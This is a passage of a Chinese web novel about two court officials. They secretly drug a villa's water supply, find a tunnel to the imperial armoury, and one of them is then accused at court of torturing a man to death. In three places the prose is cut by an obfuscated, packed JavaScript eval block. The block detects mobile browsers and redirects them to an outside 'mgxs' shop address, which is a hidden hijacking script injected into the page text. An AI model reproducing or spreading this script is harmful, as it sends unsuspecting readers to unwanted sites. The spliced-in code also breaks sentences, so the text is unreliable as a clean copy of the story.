谢伟恒声音轻缓,带着笃定,“飞鸟走兽生于山中,是原住民,最清楚水源所在。” 燕修延眼睛一亮,立刻跟上。 两人循着小径前行不多时,林间果然出现一汪清泉。 泉水清澈见底,从石缝中汩汩涌出,叮咚作响。 燕修延弯腰,双手掬起一捧泉水送入口中,清冽甘甜,凉丝丝地沁入心脾。 “等会儿从别苑顺走个水囊,装些回去给你泡茶。”他抹了把嘴角,看向谢伟恒,“你们文人,不都偏爱用什么山泉水、露水煮茶吗?” 谢伟恒眉眼弯起,笑意温柔:“燕大人取的水,煮什么茶,都是好喝的。” 燕修延浑身一轻,抖了抖肩膀,故作被腻到的模样:“我看我干脆给你弄一壶盐水煮,看你还甜不甜。” 谢伟恒勾唇,语气笃定:“那也是甘甜的。” 燕修延哼了一声,不再跟他斗嘴,俯身顺着泉水流动的方向往下走。 行至山脚,果然看见一截截竹制水笕,首尾相接,将山泉引入别苑之中。 就是此处。 燕修延取出药瓶,灌满泉水,晃了晃,看着瓶中药粉缓缓化开,再将兑好的药水分次倒入水笕之中。 做完这些,他又取出一瓶忘忆丸,化在水里,一并倒了进去。 两人悄无声息爬上旁边一棵大树,藏在浓密枝叶间,静静望着别苑中人挑着木桶,将掺了料的泉水一桶桶提走。 不多时,炊烟从别苑屋顶袅袅升起。 燕修延从怀里掏出两个油纸包,递了一个给谢伟恒:“上山前买的糯米鸡,还温着。本来还想尝尝妆岚别苑厨子的手艺,今天这顿饭,咱们是无福消受了。” 加了料的饭菜,一吃一个不吱声。 谁吃谁知道。 燕修延大口啃着糯米鸡,吃得满嘴油光,香得眯起眼。吃完后直接掬一捧山泉,洗手洗脸,清爽得很。 “水再暖和些,连脚都能一并洗了。”他咂咂嘴。 谢伟恒望着别苑方向,淡淡开口:“回头,我把这里买下来。” “可别!” 燕修延立刻反对,顺手撩起一点泉水,轻轻泼在他脸上,“你已经买了芙蓉池,那好歹还能见点回头钱。买这么个破院子,一年能住几回?” 这山上的水,难不成还是金子熔的? 晶莹的水珠顺着谢伟恒的额发滑落,其中一颗,恰好挂在他纤长的睫毛上,微微颤动。 燕修延看得一怔,下意识伸出指尖,轻轻接住那颗水珠:“你这睫毛生得可真好。” 他喃喃道,指尖忍不住捏住谢伟恒的下巴,左右端详,“其实谢大人若是扮作女子,必定也是风华绝代的大美人。有句诗怎么说来着……清水出……” 谢伟恒被他逗得失笑,耐心纠正:“是清水出芙蓉,天然去雕饰。多用来形容文章清新自然,无过多雕琢。” “哦,管它呢。” 燕修延理直气壮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646250|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,半点不觉得自己没文化丢人,“我觉得,用来形容你这水当当的样子,正好。” 谢伟恒顺着他的话,温声附和:“燕大人说的在理,我也觉得可以这般用。” 燕修延满意了,找了个粗壮的树杈舒服躺下,一双脚悠闲地翘着,晃来晃去。 “当初干娘给我请的先生,要是都像你这么好说话,我说什么是什么,说不定我也能多背两首诗。” 燕修延嘟囔一句,扭头看向坐在一旁的谢伟恒,“你们家请的先生,也都古板得很,会打人手板心吗?” “我的学问,大多是父亲亲自教的,他很有耐心。” 谢伟恒垂眸,指尖轻轻拨弄着他圆润的耳垂,软乎乎的,手感极好。 “陛下就不行了,急躁得很,每次小脸都板着。” 燕修延撇撇嘴,满不在乎,“不过我不怕他。他要是敢凶我,我就去找干娘哭,干娘铁定抽他。” 陛下每次被太后教训,都忍不住嘀咕一句:慈母多败儿,母妃教儿臣之时,怎不见这般温柔。 “然后,干娘就把笤帚丝换成大笤帚,追着陛下满院子打。” 每次想起那场面,燕修延就乐得不行。 谢伟恒轻笑:“太后娘娘,把你教得很好。” “那是自然。” 燕修延下巴一抬,满脸骄傲,“干娘可是女中豪杰。” 太后虽不像燕修延生母那般是将门虎女,可家中世代经营武馆,一双鸳鸯刀使得炉火纯青,凌厉非凡。 当年太后独自带着燕修延外出游玩,遇上劫匪,二话不说,直接动手,把一群劫匪打得跪地求饶,临走还顺手收了劫匪的上供,一路盘缠反倒更加宽裕。 谢伟恒由衷赞叹:“有以一当百之势,太后娘娘真乃人中龙凤,教出来的燕大人,自然也是这般出色。” 燕修延得意洋洋,哼了一声,可没一会儿又垮下脸——他打不过谢伟恒。 他狐疑地眯起眼:“我怎么觉得,你这是变相自夸呢?说起来,你的功夫到底跟谁学的?” 谢伟恒习武起步比旁人晚,家中却为他寻来好几位在大虞朝野都叫得上名号的武师,一同悉心教导。 燕修延听得咋舌:“你家可真够大手笔,那几位老前辈,不是早就不收弟子了吗?” 谢伟恒淡淡一笑,语气平静得近乎理所当然:“不收弟子,不代表钱到位,也不收。” 燕修延:“……” 万恶的有钱人。 等等,他现在,好像也是有钱人了。 嗯,当个有钱人的恶人,挺好。 燕修延看了一眼天色,估摸着别苑里的人差不多都吃好喝好,药效也该发作了。 他翻身从树上跳下来,拍了拍衣摆上的尘土,眼神亮得狡黠:“走,咱们进去,溜达溜达。” ———————————————— 柳岚:分明是我做的药有巧思! 谢伟恒:燕大人,运用的十分巧妙。 柳岚:死古gay、gay! 93. 你全家都嗲! “天怎么黑了?快点灯!” “不是天黑,是我的眼睛……看不见了!” “今日的饭菜是怎么回事?舌头又麻又涩!” “我、我怎么闻着一股子……一股子粪臭!就像小时候摔进牛圈里,一头扎进牛粪堆里的滋味!” 燕修延听着这五花八门的哀嚎,嫌恶地抬起手,在鼻尖前轻轻扇了扇,仿佛那股子凭空而来的怪味真能被他扇走一般。 他与谢伟恒此刻都顶着一张丢进人堆里便再也寻不见的寻常面容,易容术做得精巧,混在这群伸着手四处乱摸、跌跌撞撞的人中间,竟真如闲庭信步一般,自在得像是在逛自家后花园。 穿过混乱的人群,燕修延眼角一挑,瞥见不远处几个身着轻薄纱裙、打扮得花枝招展的女子,此刻也正慌慌张张地摸索着,口中惊呼不断。 “居然还有姑娘在这儿。” 燕修延低声轻笑了一声,语气里没半分愧疚,“那便只能对不住她们了。” 他下的药本就分两种,一种能叫人短暂失明,眼前一片漆黑;另一种则是搅乱味蕾,叫人口中生出千奇百怪的恶心滋味。 最后再补上一粒忘忆丸,等药效一过,今日发生的一切都会被抹得干干净净。 药都是无色无味,便是有人心疑,报去中书令那里,也查不出半分端倪,不过是一场无头公案。 两人一路畅通无阻,行至一处仅有一扇门、四面皆无窗的密闭屋舍前。 燕修延粗略一数,屋外正瞎摸乱撞的人,足足有二十余个,哀嚎声此起彼伏。 “我的眼睛!什么都看不见了!” “嘴里又苦又辣!像是有拳头在砸我的舌头!” 燕修延置若罔闻,指尖轻巧一动,不过瞬息,门上三把铜锁便被他一一拨开。 “咔嗒”几声轻响,大门应声而开,一股阴冷潮湿的寒气扑面而来,与外面的喧闹截然不同。 屋内一排排兵器架整齐排列,寒光凛冽,长枪、长剑、刀戟斧钺应有尽有,尤以长枪与长剑居多。 燕修延反手将门关上。 本就无窗的屋子瞬间陷入一片漆黑,他自怀中摸出一颗夜明珠,温润的白光缓缓散开。 他随手抽出一柄长剑,指尖拂过剑刃,目光落在剑柄末端一处细小的印记上:“上面有官府的刻印。” 又接连拿起几样兵器查看,无一例外,全是官造兵器。 燕修延眉梢微蹙,心中暗自盘算。 这么大批的官造兵器,究竟是如何从军器库里运出来的? 私铸铜钱尚可藏在货物之中蒙混过关,可这长枪长剑,体积硕大,难道还能一截截藏在木料里? 一次也运不出多少,这般数量,绝非一日之功。 谢伟恒沉默地拿起一杆长枪,枪尾在地面轻轻一跺,沉闷的声响里藏着一丝异样。 燕修延立刻会意,也提着长枪,顺着青砖地面一寸寸敲过去。 “这里。” 燕修延指尖一顿,长枪戳在一块青砖上,声音明显空洞许多。 谢伟恒蹲下身,指尖在砖缝边缘细细摸索,片刻后,摸到一处极不显眼的凸起。 他轻轻一按,只听“咔”的一声轻响,地砖边缘微微弹起,露出一个锈迹斑斑的铁环。 谢伟恒握住铁环,用力一拉,整块地砖缓缓向外滑动,一条黑黢黢、深不见底的地道赫然出现在眼前。 两人对视一眼,皆从对方眼中看到了然。 他们将手中兵器放回原处,燕修延自怀中取出一根细巧的绳索,动作利落得令人眼花缭乱。 他先打开门,将绳索依次穿过三把铜锁,再从门缝中轻巧钻回屋内,手腕轻轻一收,绳索收回,门外三把铜锁竟已重新锁好,严丝合缝,看不出半分开过的痕迹。 “行了。” 燕修延拍了拍手上并不存在的灰尘,回头看向谢伟恒,眉眼间带着几分邀功的得意,“我这门手艺如何?” 谢伟恒望着他,眼底漾开浅淡的笑意,语气真诚:“厉害。” 踏入地道前,谢伟恒又回头看了一眼紧闭的房门,心中暗自思忖—— 若是地道尽头无路可走,需原路返回,也不知从内里能否这般悄无声息地再次开锁。 地道狭长幽深,一眼望不到头,脚下石板湿滑,唯有两人的脚步声在黑暗中轻轻回荡。 走了约莫小半程,燕修延摸了摸空荡荡的肚子,委屈地嘟囔:“早前吃下去的东西,都消化干净了。” 谢伟恒沉默地从怀中取出一个油纸包,递到他面前:“你买糯米鸡时,我见旁边在卖蟹粉酥,便顺手买了一包。” 燕修延眼睛瞬间亮了,如同暗夜中骤然亮起的星子。 他迫不及待地打开油纸包,金黄酥香的蟹粉酥香气扑鼻,咬下一口,酥皮簌簌掉落,鲜美的汤汁在舌尖化开。 “鲜!”燕满足地喟叹一声,将手中剩下的半块递到谢伟恒唇边,语气带着几分促狭,“喏,留一半给你,你不是最爱吃我剩下的?” 谢伟恒垂眸,就着他的手,一口将那半块蟹粉酥吃下,唇瓣不经意擦过他的指尖,声音低沉又温柔:“你吃剩下的,才是好的。” “瞧你那德性。” 燕修延耳根微热,飞快收回手,佯怒道,“吃都堵不住你的嘴。” 谢伟恒却忽然伸手,轻轻拉住他的手腕,掌心温度温热,力道稳而轻。 “燕大人知道,什么能堵住我的嘴。” 燕修延脸颊一热,瞪他一眼,扬了扬拳头:“看见没有?这个拳头,堵你的嘴正好。” 谢伟恒低低一笑,眉眼温柔:“燕大人可以试试。” 燕修延被他看得心头发慌,干脆扭过头,拽着他往前走去:“才不顺你的意!” 一包蟹粉酥,两人分食而尽,甜香与鲜香在唇齿间萦绕,驱散了地道里的阴冷与沉闷。 又走了约莫半个时辰,前方终于隐隐透出一丝微光,地道到了尽头。 燕修延停下脚步,粗略一算时间,眼底闪过一丝了然:“这条通道,十有八九是通军器库。” 他贴在地道顶端的地砖上,凝神细听,头顶一片寂静,并无巡逻士兵走动的声音。 在四周摸索一阵,按下一处机关,头顶地砖缓缓移开。 燕修延屏息等了片刻,确认无人,才小心翼翼地探出头去。 入目之处,果然是一排排密密麻麻、陈列整齐的兵器架,与妆岚别苑地下所见如出一辙。 谢伟恒紧随其后钻出,两人合力将密道入口重新合上,不留一丝痕迹。 燕修延凑到窗边,顺着窗缝往外一看,果然见到手持兵器、严守在外的禁军。 他压低声音,语气里带着几分惊叹:“好家伙,他们居然直接挖了一条地道通军器库。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646251|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这等工程浩大,绝非一日之功,想来先帝在位时,便已经暗中动工。 只可惜,到头来晋王怕是连热乎的都赶不上——造反一事,本就讲究出其不意,这般磨磨蹭蹭,早被人捷足先登。 说句粗俗点的,那可真是吃屎都赶不上热乎的。 只是眼下,还有一个更紧要的问题——怎么出去? 两人在军器库内轻手轻脚转了一圈,发现一侧值守的士兵正靠着柱子打盹,夜色已深,唯有零星灯笼与清冷月光洒下,光线昏暗。 燕修延缓缓将窗户推开一条细缝,回头与谢伟恒交换了一个眼神。 下一刻,两人身形如鬼魅般窜出窗外,足尖一点,轻盈跃上屋顶,俯身趴伏不动。 夜风一吹,窗户轻轻关上,发出“吱呀”一声轻响。 打盹的士兵瞬间惊醒,巡逻士兵也立刻警觉,握紧兵器低喝:“什么人!” 燕修延眼珠一转,捏着鼻子,细声细气地“喵”了一声,声音软糯,听着竟有几分娇嗲。 “原来是只猫。” “是你平日里喂的那只吗?” “我喂的那可是个祖宗,叫不出这么嗲的声儿。” 燕修延趴在屋顶,嘴角狠狠一抽。 嗲?你才嗲,你全家都嗲。 两人屏息静待,直到巡逻士兵的脚步声渐渐远去,才借着浓重夜色,身形一晃,悄无声息地消失在黑暗之中。 一夜惊险,次日本不必上朝。 燕修延一回府,便一头扎进被窝里,打定主意要睡到日上三竿,谁也别想叫醒他。 可天不遂人愿。 “……陛下,今日不上朝。” 燕修延顶着一头乱糟糟的头发,脸色铁青地坐在床边,无语地望着端坐在外间,慢条斯理品着茶的虞睿祥。 这世上,哪有皇帝一大清早,偷摸跑到臣子家里来的? 虞睿祥放下茶杯,神色淡定,仿佛只是来串个门:“朕只是前来探望你与谢卿。” 燕修延嘴角抽了又抽,毫不客气地拆穿:“陛下是来看我们,有没有从妆岚别苑活着回来吧。” 前几日彻夜未眠,昨夜又折腾大半宿,他此刻困得眼皮打架,起床气直冲头顶:“陛下看完了,就请回吧,臣要补觉。” 虞睿祥不恼,只是伸手,将桌案上一块沉甸甸、金灿灿的金疙瘩轻轻推到他面前。 燕修延眼睛一眨,起床气瞬间烟消云散,比风吹得还快。 他伸手一把将金疙瘩抓进手里,掂了掂分量,笑得眉眼弯弯:“昨夜臣与谢大人,确实去了妆岚别苑,最后……是从军器库回来的。” 虞睿祥吹开茶汤浮沫的动作一顿,缓缓盖上杯盖,神色终于凝重几分:“妆岚别苑与军器库之间,有密道?” 燕修延打了个响指,语气笃定:“正是!臣原本以为,他们起事时会走城门,如今看来,倒是未必了。” 若是看守军器库的禁军,全都听命于军器库使尤钰珣。 那晋王的私兵便能借着这条密道,悄无声息潜入京城。 他咬了一口金疙瘩,确认质地纯良,转念一想,又摇了摇头:“不对,禁军应当并未听命于尤钰珣。” 若是禁军早已归顺,何必大费周章,将兵器从地道运去妆岚别苑? 真要造反,直接从地道进城,从军器库取了兵器便杀向皇宫,岂不更省事? 94. 我的手不是给你…… 虞睿祥将手中…… 虞睿祥将手中茶盏轻轻搁在梨花木桌面上,瓷面相击,只发出一声极轻的脆响。 他抬眼望向殿外,语气平淡得听不出半分喜怒:“朕这个皇兄,倒是有点本事。” 不管禁军之中究竟有没有人暗中勾结,这趟浑水,都必须彻查到底。 燕修延指尖还捻着刚到手的金子,指尖摩挲着冰凉的金面,笑得眉眼弯弯,一派恭顺又油滑的模样:“陛下说笑了,晋王那点本事,也就够供陛下喝茶看戏,权当解闷儿罢了。” 虞睿祥被他这张口就来的恭维逗得轻笑一声,无奈摇了摇头:“你这张嘴,真是什么时候都不肯吃亏。” 谢伟恒忽然上前一步,语气平静地开口:“陛下驾临至此,可曾用过朝食?” 虞睿祥先是一怔,随即忍不住失笑。 这刚起身没多久,伟恒开口第一句不是问事,不是请安,反倒先惦记着别饿着了燕修延。 这般明目张胆的偏宠,他便是想装看不见都难。 “不曾。” 虞睿祥索性往椅背上一靠,“朕今日便在你们这儿随便对付一口。” 话音刚落,燕修延立刻朝他伸出一只手,理直气壮,半点不遮掩。 虞睿祥额角一跳:“……朕方才才给了你一个金疙瘩。” “那不一样。” 燕修延笑得无辜,“金疙瘩是金疙瘩,可不包含朝食在内。陛下总不能让臣自掏腰包,招待您这九五之尊吧?” 虞睿祥素来外出不带碎银,闻言沉默片刻,抬手解下腰间两颗镂空缠枝金珠,“当啷”一声放在桌上:“够不够?” 燕修延瞬间喜笑颜开,眉眼都弯成了月牙:“够够够!陛下您尽管开口,想吃什么都行!家里厨子的手艺,那可是顶好的!” 虞睿祥没好气地瞥他一眼:“朕被你气都气饱了。” “气可不管饱啊。” 燕修延一本正经地劝着,转头便对谢伟恒吩咐,“既然陛下不饿,那让厨房只准备两人份就成,免得浪费粮食。” 虞睿祥:“……” 给了一个金疙瘩,又添两颗金珠,他虞睿祥什么时候吃过这种亏,什么都没捞着,反倒白白被人宰一笔。 “朕没说不吃。” 虞睿祥沉声道,“按照御膳房的菜式准备即可——你这是什么眼神?” 燕修延摊摊手,一脸坦荡:“陛下,臣家的厨子可不是宫里的御厨,上哪儿知道御膳房都有些什么菜式?” 虞睿祥气极反笑:“朕可记得,你在宫里蹭吃蹭喝可不是一回两回。厨子不知道,你还能不知道?” 谢伟恒轻轻拍了拍燕修延的手臂,温声解围:“无妨,府里的北叔,祖上曾出过御厨。” 燕修延愣了一下,满脸惊讶:“啊?北叔?我怎么一点都没吃出来?” 谢伟恒眼底漾开浅淡的笑意:“平日里,他都是按着你的口味在做。” 他起身推门出去,吩咐门外的谢小厮,即刻让谢伯在厨房多添几样精致朝食。 不多时,热气腾腾的朝食便一一端上桌。 虞睿祥先在屏风后静坐,待左右侍从尽数退去,才缓步走出,在桌前落座。 他拿起银勺,舀了一口鸡丝粥送入口中。粥体熬得绵密软糯,鸡丝鲜香入味,咸淡恰到好处,一口下去,暖意顺着喉咙滑入腹中。 “不错。” 虞睿祥微微颔首,“伟恒府上的厨子,手艺确实不输御膳房。” 不等燕修延趁机开口讨赏,虞睿祥便先一步堵了他的话头:“朕已经给了你两颗金珠,你想都别想再打别的主意,闭嘴。” 燕修延立刻收敛了那副精明模样,转而可怜巴巴地望向谢伟恒,尾音轻轻一扬,拖得又软又长:“谢大人~” “咳——” 虞睿祥被这一声腻歪得险些呛住,喉间一阵发痒,脸色瞬间古怪起来。 可谢伟恒偏偏受用得很。 他慢条斯理地拿起一颗水煮蛋,指尖熟练地剥去蛋壳,再细心将蛋黄剔除干净,只把白嫩细滑的蛋白,轻轻放进燕修延面前的碗里。 做完这一切,燕修延才抬眼看向虞睿祥,语气沉稳,一本正经:“陛下,燕大人这些日子为了晋王一案,殚精竭虑,夜夜难以安寝,整个人都清瘦了许多。” 虞睿祥嘴角不受控制地抽了抽。 他看修延这日子过得滋润得很,自打成亲之后,脸颊肉眼可见地圆润了几分,哪里有半分憔悴模样。 顶多就是这两日忙着布局,没睡好,眼下浮着一层淡淡的青黑罢了。 “行了行了。” 虞睿祥懒得看他们夫夫一唱一和,干脆一锤定音,“晋王的家,让你去抄,行不行?” 燕修延立刻咧嘴一笑,眉眼间满是狡黠:“行行行!陛下吩咐,臣自然是无不遵从。” 虞睿祥在心中默默腹诽:朕信你个鬼,修延分明就是个讨债鬼……呸,就是个专门来讨债的。 燕修延慢悠悠喝完一碗粥,眼珠轻轻一转,眼底坏水翻涌。 他身子微微前倾,压低声音,脸上挂着那副贱兮兮又胸有成竹的笑:“陛下,臣这儿还有一条‘妙计’,保准您生辰那日,能看上一出空前绝后的好戏。” 虞睿祥看着他这副模样,心中竟真的生出几分期待。 妆岚别苑的怪事,最终只有少数几人,因各种缘由未曾吃喝,才保留着记忆。 其余人在忘忆丸的作用下,早已将当晚发生的一切忘得干干净净,半点不剩。 那些忘记的人,反倒一口咬定记得的人是梦魇缠身,把梦里的荒诞场景当成了现实。 一来二去,连原本记得的人都忍不住自我怀疑,此事终究没能传到中书令耳中,悄无声息地压了下去。 而另一边,燕修延为了虞睿祥生辰这出大戏,忙得脚不沾地,连早朝都常常缺席。 府中更是频繁有郑太医出入,一来一回,落在中书令眼中,便成了——燕修延体内旧毒发作,时日无多。 他还暗中打探到,监察司大半人手,都被燕修延以秘密任务为由,外派了出去。 再加上最近几夜格外安稳,那闹得人心惶惶的“贺梦雨”鬼魂,再也没有出现过。 中书令只当一切尽在掌握,心中那股得意几乎要溢出来。 他觉得自己国丈之位已是板上钉钉,再过不久,权倾朝野便指日可待。 连带着平日里与丞相说话,语气都少了几分往日的恭敬,多了几分居高临下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646252|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的傲慢。 快了,就快熬到头了。 这日早朝,文武百官分列两侧。 在中书令一个隐晦的示意下,一名官员立刻出列,手持玉笏,厉声弹劾:“臣,弹劾燕修延!以残忍酷烈手段,虐杀季风次子!” 谢伟恒闻言,抬眸淡淡望向御座之上。 虞睿祥的目光也恰好扫了下来。 两人视线在空中轻轻一触,又若无其事地各自移开。 当初处理季风一案,虞睿祥为彰显皇家仁慈,只斩了季风与几名主犯,查抄季家之后,还特意给他们留下一处宅院安身。 那时燕修延便笑着打趣过,说季家这般狼子野心,说不定日后还能主动跳出来演一出好戏,到时候,便可以一网打尽,一个不留。 虞睿祥尚未开口,礼部尚书已先一步站出,眉头紧锁:“胡大人,说话可要讲证据。季大人之事早已了结,燕大人为何无端对他的次子下手?” 胡大人胸有成竹,语气铿锵:“臣自然有证据!且人证物证俱在!” 五日前,有人亲眼看见监察司的人抬着一具尸体往乱葬岗而去。 有胆大好事者尾随其后,待众人离去,掀开草席,取下尸体腰间玉佩,拿去季家当铺典当。 那玉佩,正是季乐贴身之物! 季家正因季乐失踪而满城寻找。 当铺管事一眼认出,连忙送至季家主母手中。 一来二去,季家人便在乱葬岗,将那具被虐杀得体无完肤、早已辨认不出原形的尸体抬了回去! 胡大人说到此处,神情悲愤,声音都微微发颤:“季二公子被人戳瞎双眼,毒哑喉咙,双耳之中灌进水银,就连手筋脚筋都被人尽数挑断!死状之惨,令人发指!” 五日前? 谢伟恒脑海中骤然闪过一段画面。 【谢伟恒!我这手是用来杀人的,不是给你***】 燕修延又羞又恼,耳尖泛红,瞪着他咬牙切齿的模样清晰浮现,一丝极浅极淡的笑意,悄无声息地从谢伟恒眼底掠过,快得无人察觉。 礼部尚书仍是不信,皱眉道:“季乐失踪?本官怎么从未听过半点风声?若是真如你所说,季家满城寻人,不可能一点动静都没有。” 吏部尚书忽然压低声音开口:“本官,倒是略有耳闻。” 礼部尚书猛地转头看他,眼神里写满不可置信:你怎么反倒帮姓胡的说话?那可不是什么好东西! 吏部尚书不动声色地递去一个稍安勿躁的眼神。 陛下不曾发话,谢伟恒也面色平静,这便说明,此事内里必有文章。 他索性顺水推舟,故意诈那胡大人:“本官此前也曾听闻,季乐此人素来暴戾好色,作恶多端。后来似乎是遭了仇家报复,被人发现时……模样便与你方才所说,分毫不差。” 中书令缓缓垂下眼帘,遮住了眸底一闪而过的异样。 当初季乐被人发现时那般惨状,季家为了颜面,根本没有声张,连当时在场的小厮都被他们暗中处理干净。 反正已是个废人,不如暂时压下,留着日后伺机而动。 照理说,此事绝无可能外泄。 吏部尚书,究竟是从何处得知这般详细内情? 95. 燕修延可怜?开玩笑 中书令抬眼,目光如电般飞快扫过吏部尚书,眸中精光一闪而过,随即又迅速垂下眼睑,掩去眸中所有思绪,只余下一片古井无波。 当时他们猜测是燕修延记恨季风构陷之仇,暗中对季乐下了狠手。 可此刻吏部尚书所言,细节详尽得过分,桩桩件件都像是亲眼所见,难道他也参与其中,还是燕修延曾经同他说起过? 罢了,无关紧要。 眼下最要紧的,是摸清民间对此事的流言蜚语。 胡大人当即面色一沉,神情肃穆地开口驳斥,字字铿锵:“漠大人方才也说了‘此前’‘听闻’,这般无根无据的谣传,如何能当作呈堂证供?!” 礼部尚书立刻不乐意了,往前站了半步,眉头一挑,语气带着几分讥讽:“胡大人这话就有意思了,你口口声声咬定是燕大人所为,不也只是季家的一面之词?何来凭据?” 老东西,仗着自己年纪大,还教训起漠大人来了。 礼部尚书见殿中一时沉寂,谢伟恒自始至终垂眸而立,一言不发,宛如泥塑木雕,当即把话头转向了他,语气带着几分催促:“谢大人,你倒是说句话啊!此事与燕大人息息相关,你总不能一直沉默吧?” 御座之上,虞睿祥也适时开口,声音不高,却带着九五之尊的威严,直直落在谢伟恒身上:“燕卿接连几日早朝告假,朕多日不曾见他,谢卿可知他近来在做些什么?” 谢伟恒闻言,手中紧握玉笏,缓缓躬身行礼,身姿挺拔如松,声音清朗沉稳:“禀陛下,他这几日闭门不出,从未踏出府一步,府中上下仆从皆可作证。” 胡大人当即一声冷哼,笑意满是不屑:“谢大人府上之人本就与他一荣俱荣,一损俱损,他们的话,如何能作数?” 谢伟恒抬眸,目光平静地迎上胡大人的视线,不卑不亢地反问:“那依胡大人之意,季家人与燕大人素有旧怨,他们的一面之词,又如何能作数?” 胡大人被问得语塞,顿时恼羞成怒,眉头紧蹙,疾声厉色地拔高音量:“谢伟恒!你这分明是强词夺理!如今人证物证俱在,季二公子不曾犯下大错,即便真有过错,我朝律法也明文严禁严刑拷打,杜绝屈打成招!你这般袒护,是何居心!” 两人争执不休,唇枪舌剑愈演愈烈,其余大臣或冷眼旁观,或暗中附和,殿中乱作一团。 而御座上的虞睿祥,指尖轻轻敲击着御椅扶手,心中早已将一切看得通透。 既然他们如此心急,那朕不妨顺水推舟,陪他们演完这出戏。 思及此,虞睿祥沉声开口,打断了争执:“此事容后再议。” 礼部尚书一听“容后再议”,顿时急得额头冒汗,心中暗骂:这有什么好议的!姓胡的摆明了是罗织罪名,蓄意陷害燕修延! 谢伟恒也真是,从头到尾都云淡风轻,半点不急,枉费燕修延送他的花! 吏部尚书将他的急躁看在眼里,悄悄侧过身,对着礼部尚书使了个眼色,目光微沉,极轻微地摇了摇头,示意他稍安勿躁,不可冲动。 礼部尚书咬牙切齿,攥紧了袖中的手,硬生生将到了嘴边的话咽了回去。 可他刚安分片刻,中书令一党便又有两人出列,躬身启奏,装出一副忠君爱国的模样,言辞恳切地劝虞睿祥尽快彻查此案,还死者公道,稳朝堂人心。 虞睿祥配合地眉头紧锁,脸上露出几分为难之色,似是被群臣逼得左右为难。 “陛下生辰将近,满朝文武都在筹备庆典,你们倒好,拿着一个罪臣之子的命案,在殿上争执,给陛下添堵!” 礼部尚书终究是忍无可忍,上前一步,语气阴阳怪气,“当初季风犯下重罪,若不是陛下开恩,诛九族都不为过!那季乐是个什么货色,整日游手好闲,欺压百姓,胡大人当真一无所知?!” 胡大人被他当着满朝文武的面这般当面斥责,脸上瞬间涨得通红,颜面尽失,一时气急攻心,口不择言:“宁大人如此心急火燎地为燕修延申辩,不知道的,还以为你二人有什么不清不楚的干系——” “胡大人慎言!” 吏部尚书脸色骤变,当即厉声呵斥,再让他说下去,就要牵扯出朝堂禁忌,酿成大祸了。 与此同时,一直沉默的谢伟恒骤然抬眼,往日温和的眸中覆上一层寒霜,目光清冷如刃,直直刺向胡大人,声音冷冽刺骨:“胡大人,我朝律法明文规定,恶意诽谤、无端攻讦同僚,当处以鞭刑二十,以示警醒。你莫非是要知法犯法?” 胡大人被他眼中的冷意惊得心头一颤,后背竟冒出丝丝冷汗,可事到如今,为了面子,也只能硬着头皮撑到底。 他猛地一甩衣袖,梗着脖子厉声道:“陛下!他日此案查明,若是臣冤枉了燕大人,臣愿一头撞在这盘龙柱上,以死谢罪!” 一旁的李想冷眼旁观,似是早已看穿这群人的用意,当即嗤笑一声,毫不留情地开口:“胡大人,撞盘龙柱你还不够这个资格吧。” 礼部尚书立刻小声附和,语气满是鄙夷:“就是,撞盘龙柱是清官或者言官以死明志,也不看看自己算哪根葱,也配提盘龙柱?” “你!你们!” 胡大人气得浑身发抖,指着两人,半天说不出一句完整的话。 “够了!” 虞睿祥威严的声音响彻大殿,带着不容置疑的帝王之怒,目光如炬般扫过阶下众臣,周身气压骤降:“朕方才已经说了,此事容后再议!” “退朝——” 苏公公尖细的唱喏声回荡在大殿之中,宣告着这场闹剧的暂时落幕。 出了金銮殿,阳光洒在身上,礼部尚书的怒火却丝毫未消,胸口依旧气得上下起伏。 他四处张望,想找谢伟恒问个清楚,可宫道之上早已没了那人的身影,竟走得无影无踪。 “这般生气?” 吏部尚书缓步走到他身边,与他并肩而行,状似不经意地开口,“本官倒是不知,原来宁大人与燕大人的关系,竟好到这般地步。” 礼部尚书叹了口气,情绪低落:“也算不上多要好,只是觉得燕大人为人直言直语,不搞那些阴私弯弯绕,与他相处省心不累。况且上次他抓了狮子,还肯让我伸手去摸,这般性情,实在难得。” 吏部尚书闻言,心中暗自失笑,评判人的好坏,竟用这般简单粗暴的法子,也是独一份了。 他轻声安抚:“陛下圣明,心中自有定夺,你不必太过忧心。” 说句实在的,如今陛下正是用人之际,更何况季乐本就是罪臣之子。 哪怕燕修延真的动了他,陛下也定会大事化小,小事化了,绝不会重罚于他。 吏部尚书又补充了一句:“你且放心,还有谢大人在,他断不会让燕大人陷入险境。” 